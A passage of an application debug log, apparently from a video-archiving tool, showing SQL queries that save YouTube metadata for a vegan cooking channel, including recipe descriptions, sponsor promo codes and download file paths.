Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nMy Water Filter: SANTEVIA WATER FILTERS - Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n\nMy Go-To Protein Powder: GOOD PROTEIN - Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nMy Hydroponic Indoor Garden: INDOOR GARDEN WORKS - Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Grocery Haul for FALL! 🍂 Vegan and Gluten-Free Grocery Haul", 1, nil, false, "dRceBBLiU5o", "https://www.youtube.com/watch?v=dRceBBLiU5o", "/downloads/downloads/alec/Steamy Vegan/2024-10-13 Grocery Haul for FALL! 🍂 Vegan and Gluten-Free Grocery Haul/Grocery Haul for FALL! 🍂 Vegan and Gluten-Free Grocery Haul [dRceBBLiU5o].NA", false, ~U[2024-10-13 00:00:00Z]] 20:31:07.205 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.207 [debug] QUERY OK source="media_items" db=1.9ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-08 00:00:00Z], 1] 20:31:07.210 [debug] QUERY OK source="media_items" db=1.6ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan breakfast meal prep takes under 1 hour and provides you with vegan breakfast burritos that you can put in the freezer for the entire week! I'll be meal prepping 2 different vegan burritos and showing you how to make a vegan and gluten free wrap.\n\nMore meal prep videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nRECIPES\nAlmond Flour Tortillas - Makes 4\n1 cup almond flour (blanched, fine ground)\n½ cup tapioca starch\n¼ tsp salt\n⅛ tsp xanthan gum\n1 cup water\n\n1. Whisk together all dry ingredients in a large mixing bowl. Pour in the water and whisk again until a thin crepe-like batter forms. Make sure there's no lumps remaining.\n2. Heat a large nonstick skillet over medium heat and give it a light spray of cooking oil. Pour heaping ⅓ cup portions of batter in the centre of the skillet and quickly tilt the pan in a circular motion to spread the batter as far as it can go to make a larger tortilla.\n3. Cook on each side for 3 to 4 minutes, until the edges are lifted, it forms air bubbles and is slightly golden around the edges. Carefully lift from the skillet with a flat spatula and let cool on a wire rack.\n\nButternut Breakfast Burrito - Makes 2 (Double recipe to make 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\n½ a large butternut squash\n1 tbsp finely chopped fresh rosemary\n¼ tsp dried ground sage\nSalt and pepper to taste\nCooking spray\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nCanned pinto beans, drained and rinsed\nVegan cheddar cheese shreds\nChopped kale\nGreen chili salsa\n\n1. Preheat oven to 400°F. Peel and chop the butternut squash and transfer to a large sheet pan.\n2. Sprinkle over the rosemary, sage, salt and pepper and give a few sprays of cooking oil. Toss to combine and bake on the middle rack of the oven for 35 to 40 mins, or until the squash is fork tender and slightly golden around the edges.\n3. Let cool until just slightly warm. In each tortilla, add a sprinkle of vega cheese, a few spoonfuls of pinto beans, about ¼ cup of the butternut squash, a small handful of chopped kale, and a drizzle of salsa. Roll the wrap up into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\nBlack Bean Breakfast Burritos - Makes 2 (Double recipe for 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\nVegan cheddar cheese shreds\nCanned black beans, drained and rinsed\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nYour fave salsa\nChopped green onions\n\n1. Sprinkle some vegan cheese on the tortilla, followed by a few spoonfuls of tofu scramble, ¼ cup of black beans, some chopped green onions and salsa, then roll into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\nReheating instructions\nAir fryer: Remove parchment paper and place frozen burritos seam-side down in the air fryer basket. Air fry for 23 to 25 minutes at 375°F, until the tortilla is golden and crisped around the edges.\nMicrowave: Remove parchment paper and place seam-side down on a plate and microwave on high heat for 3 minutes. Flip over and microwave for a further 2 to 3 minutes, until the centre is hot. \n\n\n* PROMO CODES/Products I Use*\nMy Fave Coffee: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nMy Water Filter: SANTEVIA WATER FILTERS - Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n\nMy Go-To Protein Powder: GOOD PROTEIN - Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nMy Hydroponic Indoor Garden: INDOOR GARDEN WORKS - Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... " <> ..., "Meal Prep Vegan Breakfast Burritos PLUS My Gluten-Free Tortillas!", "bf40c709-64a2-4c3b-b314-f90c93370dcf", 1, [], false, "CNOawx4-1tQ", "https://www.youtube.com/watch?v=CNOawx4-1tQ", 152, "/downloads/downloads/alec/Steamy Vegan/2024-10-08 Meal Prep Vegan Breakfast Burritos PLUS My Gluten-Free Tortillas!/Meal Prep Vegan Breakfast Burritos PLUS My Gluten-Free Tortillas! [CNOawx4-1tQ].NA", false, false, false, 1, ~U[2024-10-08 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This vegan breakfast meal prep takes under 1 hour and provides you with vegan breakfast burritos that you can put in the freezer for the entire week! I'll be meal prepping 2 different vegan burritos and showing you how to make a vegan and gluten free wrap.\n\nMore meal prep videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nRECIPES\nAlmond Flour Tortillas - Makes 4\n1 cup almond flour (blanched, fine ground)\n½ cup tapioca starch\n¼ tsp salt\n⅛ tsp xanthan gum\n1 cup water\n\n1. Whisk together all dry ingredients in a large mixing bowl. Pour in the water and whisk again until a thin crepe-like batter forms. Make sure there's no lumps remaining.\n2. Heat a large nonstick skillet over medium heat and give it a light spray of cooking oil. Pour heaping ⅓ cup portions of batter in the centre of the skillet and quickly tilt the pan in a circular motion to spread the batter as far as it can go to make a larger tortilla.\n3. Cook on each side for 3 to 4 minutes, until the edges are lifted, it forms air bubbles and is slightly golden around the edges. Carefully lift from the skillet with a flat spatula and let cool on a wire rack.\n\nButternut Breakfast Burrito - Makes 2 (Double recipe to make 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\n½ a large butternut squash\n1 tbsp finely chopped fresh rosemary\n¼ tsp dried ground sage\nSalt and pepper to taste\nCooking spray\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nCanned pinto beans, drained and rinsed\nVegan cheddar cheese shreds\nChopped kale\nGreen chili salsa\n\n1. Preheat oven to 400°F. Peel and chop the butternut squash and transfer to a large sheet pan.\n2. Sprinkle over the rosemary, sage, salt and pepper and give a few sprays of cooking oil. Toss to combine and bake on the middle rack of the oven for 35 to 40 mins, or until the squash is fork tender and slightly golden around the edges.\n3. Let cool until just slightly warm. In each tortilla, add a sprinkle of vega cheese, a few spoonfuls of pinto beans, about ¼ cup of the butternut squash, a small handful of chopped kale, and a drizzle of salsa. Roll the wrap up into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\nBlack Bean Breakfast Burritos (truncated) 20:31:07.211 [debug] QUERY OK source="sources" db=0.8ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.214 [debug] QUERY OK source="media_items" db=2.1ms decode=0.7ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-05 00:00:00Z], 1] 20:31:07.216 [debug] QUERY OK source="media_items" db=1.7ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Make your recipes easy throughout the week by just doing meal prep for your plant-based proteins! In this video, we'll meal prep an easy smokey baked beans recipe, New York vegan steak strips, and a crunchy curried tofu recipe. \n\nAll recipes can be found in this blog post here ➡️ https://steamyvegan.com/vegan-protein...\n\nTimestamps\n0:00 - Introduction\n0:56 - Vegan Baked Beans\n7:16 - How to Rehydrate Soy Curls\n8:07 - Curried Crispy Tofu Bites\n11:19 - Vegan Steak Strips Recipe\n18:47 - The Taste Test\n\nCheck out my other meal prep videos! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic Featured in this Episode\nFree Music for Videos 👉 Music by Azure Tones - Silver Lining - https://thmatc.co/?l=0D88FA26\nFree Music for Videos 👉 Music by Gordon Crumb - Happiness - https://thmatc.co/?l=935E6B27\nBacked Vibes Clean - Rollin at 5 by Kevin MacLeod is licensed under a Creative Commons Attribution 4.0 license. https://creativecommons.org/licenses/...\n\nSource: http://incompetech.com/music/royalty-...\n\nArtist: http://incompetech.com/", "Meal Prep Just Your Proteins | 3 Meal Prep Vegan Protein Recipes", "6b398ddb-0ad3-4346-8296-cfc6df572958", 1, [], false, "ZtvwiO8qccU", "https://www.youtube.com/watch?v=ZtvwiO8qccU", 153, "/downloads/downloads/alec/Steamy Vegan/2024-10-05 Meal Prep Just Your Proteins | 3 Meal Prep Vegan Protein Recipes/Meal Prep Just Your Proteins | 3 Meal Prep Vegan Protein Recipes [ZtvwiO8qccU].NA", false, false, false, 1, ~U[2024-10-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Make your recipes easy throughout the week by just doing meal prep for your plant-based proteins! In this video, we'll meal prep an easy smokey baked beans recipe, New York vegan steak strips, and a crunchy curried tofu recipe. \n\nAll recipes can be found in this blog post here ➡️ https://steamyvegan.com/vegan-protein...\n\nTimestamps\n0:00 - Introduction\n0:56 - Vegan Baked Beans\n7:16 - How to Rehydrate Soy Curls\n8:07 - Curried Crispy Tofu Bites\n11:19 - Vegan Steak Strips Recipe\n18:47 - The Taste Test\n\nCheck out my other meal prep videos! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic Featured in this Episode\nFree Music for Videos 👉 Music by Azure Tones - Silver Lining - https://thmatc.co/?l=0D88FA26\nFree Music for Videos 👉 Music by Gordon Crumb - Happiness - https://thmatc.co/?l=935E6B27\nBacked Vibes Clean - Rollin at 5 by Kevin MacLeod is licensed under a Creative Commons Attribution 4.0 license. https://creativecommons.org/licenses/...\n\nSource: http://incompetech.com/music/royalty-...\n\nArtist: http://incompetech.com/", "Meal Prep Just Your Proteins | 3 Meal Prep Vegan Protein Recipes", 1, nil, false, "ZtvwiO8qccU", "https://www.youtube.com/watch?v=ZtvwiO8qccU", "/downloads/downloads/alec/Steamy Vegan/2024-10-05 Meal Prep Just Your Proteins | 3 Meal Prep Vegan Protein Recipes/Meal Prep Just Your Proteins | 3 Meal Prep Vegan Protein Recipes [ZtvwiO8qccU].NA", false, ~U[2024-10-05 00:00:00Z]] 20:31:07.217 [debug] QUERY OK source="sources" db=0.9ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.219 [debug] QUERY OK source="media_items" db=1.9ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-28 00:00:00Z], 1] 20:31:07.221 [debug] QUERY OK source="media_items" db=1.1ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This in-depth high-protein meal prep will take you to garlicky, lemony heaven with these 7 vegan recipes that are all Greek-inspired. We'll be doing tofu souvlaki, Greek lemon rice, crispy Greek lemon potatoes, tzatziki, Greek baked beans, tahini broccoli, and Greek salad.\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉\n\n0:00 - Introduction\n1:25 - Tofu Souvlaki Marinade\n3:55 - Crispy Lemon Potatoes\n7:02 - Greek Lemon Dill Rice\n10:24 - Tahini Broccoli and Cauliflower\n13:38 - Building the Tofu Souvlaki Skewers\n15:58 - Greek Baked Beans (Gigantes Plaki)\n20:25 - Vegan Tzatziki\n24:37 - Vegan Greek Salad\n27:36 - Taste Test\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Greek Vegan Meal Prep! 7 Vegan Recipes, 1 Week of EPIC Greek Food | Free PDF", "d788f013-1c9a-4466-bed4-1e7641b28c2f", 1, [], false, "ZMaC-N5NnL4", "https://www.youtube.com/watch?v=ZMaC-N5NnL4", 154, "/downloads/downloads/alec/Steamy Vegan/2024-09-28 Greek Vegan Meal Prep! 7 Vegan Recipes, 1 Week of EPIC Greek Food | Free PDF/Greek Vegan Meal Prep! 7 Vegan Recipes, 1 Week of EPIC Greek Food | Free PDF [ZMaC-N5NnL4].NA", false, false, false, 1, ~U[2024-09-28 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This in-depth high-protein meal prep will take you to garlicky, lemony heaven with these 7 vegan recipes that are all Greek-inspired. We'll be doing tofu souvlaki, Greek lemon rice, crispy Greek lemon potatoes, tzatziki, Greek baked beans, tahini broccoli, and Greek salad.\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉\n\n0:00 - Introduction\n1:25 - Tofu Souvlaki Marinade\n3:55 - Crispy Lemon Potatoes\n7:02 - Greek Lemon Dill Rice\n10:24 - Tahini Broccoli and Cauliflower\n13:38 - Building the Tofu Souvlaki Skewers\n15:58 - Greek Baked Beans (Gigantes Plaki)\n20:25 - Vegan Tzatziki\n24:37 - Vegan Greek Salad\n27:36 - Taste Test\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Greek Vegan Meal Prep! 7 Vegan Recipes, 1 Week of EPIC Greek Food | Free PDF", 1, nil, false, "ZMaC-N5NnL4", "https://www.youtube.com/watch?v=ZMaC-N5NnL4", "/downloads/downloads/alec/Steamy Vegan/2024-09-28 Greek Vegan Meal Prep! 7 Vegan Recipes, 1 Week of EPIC Greek Food | Free PDF/Greek Vegan Meal Prep! 7 Vegan Recipes, 1 Week of EPIC Greek Food | Free PDF [ZMaC-N5NnL4].NA", false, ~U[2024-09-28 00:00:00Z]] 20:31:07.222 [debug] QUERY OK source="sources" db=0.5ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.224 [debug] QUERY OK source="media_items" db=2.4ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-26 00:00:00Z], 1] 20:31:07.228 [debug] QUERY OK source="media_items" db=1.8ms queue=0.2ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan apple cinnamon oatmeal recipe uses an amazing ingredient that most people have never thought to use before. This vegan recipe is perfect for your breakfast meal prep and you'll want to eat it all autumn long!\n\nWatch my other breakfast videos here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nWatch my other meal prep videos here ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nMISO APPLE CINNAMON OATMEAL | MEAL PREP | serves 4 to 6\nCut the ingredients in half for a smaller batch\n\n3 cup rolled oats\n2 cups unsweetened plant milk\n2½ cups water \n2 tbsp cinnamon, divided\n½ tsp nutmeg\n4 large/6 small crisp apples diced\n4 tbsp maple syrup, divided\n2½ tbsp miso white miso paste, divided\n1 tsp ground ginger\n1 tbsp vegan butter\n\n1. Chop all the apples and divide them in half.\n2. Add oats, milk, water, 1½ tbsp cinnamon, nutmeg, and 2 tbsp of maple syrup to a large pot and whisk well to dissolve all the spices.\n3. Cover, bring to a gentle boil, then reduce heat to a simmer, add half the chopped apples and the oats. Stir to combine and cook uncovered for 15 to 20 minutes over medium-low heat, stirring occasionally to prevent the oats from sticking to the bottom.\n4. Melt 1 tbsp vegan butter in a separate large saucepan over medium heat, and add the remaining apples, ½ tbsp cinnamon, ground ginger and 2 tbsp maple syrup. Cook uncovered for about 10 to 12 minutes, stirring frequently as the apples caramelize.\n5. In a small bowl whisk the 1½ tbsp miso and 3 tbsp water. Once the oatmeal is cooked and most of the liquid is absorbed, remove the pot from the heat and pour the miso mixture over the oats, and stir well to combine. \n6. Whisk the remaining 1 tbsp miso with water, remove the cooked caramelized apples from the heat, pour the miso mixture over the apples and stir to combine. \n7. Serve the oatmeal in bowls topped with some of the miso spiced apples and a sprinkle of chopped pecans and enjoy!\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nMusic featured in this episode:\n\nFree Music for Videos 👉 Music by Wabi Sabi - beachside guitar - https://thmatc.co/?l=62A5F00E\nFree Music for Videos 👉 Music by Azure Tones - Silver Lining - https://thmatc.co/?l=0D88FA26", "Oatmeal with a *surprising* ingredient | meal prep, gluten-free and vegan recipe", "a7ea9619-2a75-44be-a71a-008aadd4cdb8", 1, [], false, "zUDITxVIkYY", "https://www.youtube.com/watch?v=zUDITxVIkYY", 155, "/downloads/downloads/alec/Steamy Vegan/2024-09-26 Oatmeal with a *surprising* ingredient | meal prep, gluten-free and vegan recipe/Oatmeal with a *surprising* ingredient | meal prep, gluten-free and vegan recipe [zUDITxVIkYY].NA", false, false, false, 1, ~U[2024-09-26 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This vegan apple cinnamon oatmeal recipe uses an amazing ingredient that most people have never thought to use before. This vegan recipe is perfect for your breakfast meal prep and you'll want to eat it all autumn long!\n\nWatch my other breakfast videos here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nWatch my other meal prep videos here ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nMISO APPLE CINNAMON OATMEAL | MEAL PREP | serves 4 to 6\nCut the ingredients in half for a smaller 